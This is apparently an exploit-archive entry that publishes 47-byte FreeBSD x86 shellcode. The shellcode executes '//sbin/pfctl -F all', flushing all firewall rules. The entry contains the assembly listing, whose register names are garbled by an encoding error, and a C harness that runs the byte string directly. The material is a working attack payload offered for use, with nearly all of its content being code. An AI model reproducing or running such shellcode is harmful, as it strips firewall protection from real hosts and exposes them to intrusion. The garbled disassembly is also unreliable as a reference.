FreeBSD/x86 - //sbin/pfctl -F all Shellcode (47 bytes)

2009-01-01 13:05:05

/*
* Title: FreeBSD 8.0-RELEASE/x86 '//sbin/pfctl -F all Shellcode 47 Bytes'
* Type: Shellcode
* Author: antrhacks
* Platform: FreeBSD 8.0-RELEASE
*/

/* ASSembly
31 c0 xor êx,êx
50 push êx
68 2d 46 61 6c push $0x6c61462d
89 e1 mov %esp,ìx
50 push êx
68 66 63 74 6c push $0x6c746366
68 69 6e 2f 70 push $0x702f6e69
68 2f 2f 73 62 push $0x62732f2f
89 e3 mov %esp,ëx
50 push êx
51 push ìx
53 push ëx
89 e1 mov %esp,ìx
50 push êx
51 push ìx
53 push ëx
b0 3b mov $0x3b,%al
50 push êx
cd 80 int $0x80
31 c0 xor êx,êx
50 push êx
50 push êx
cd 80 int $0x80
*/


#include <stdio.h>

int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2d\x46\x61\x6c\x89\xe1\x50\x68\x66\x63\x74\x6c"
"\x68\x69\x6e\x2f\x70\x68\x2f\x2f\x73\x62\x89\xe3\x50\x51\x53"
"\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80\x31\xc0\x50\x50\xcd\x80";

printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 );

(*(void (*)())shellcode)();

return 0;
}

Fixes

No fixes

In order to submit a new fix you need to be registered.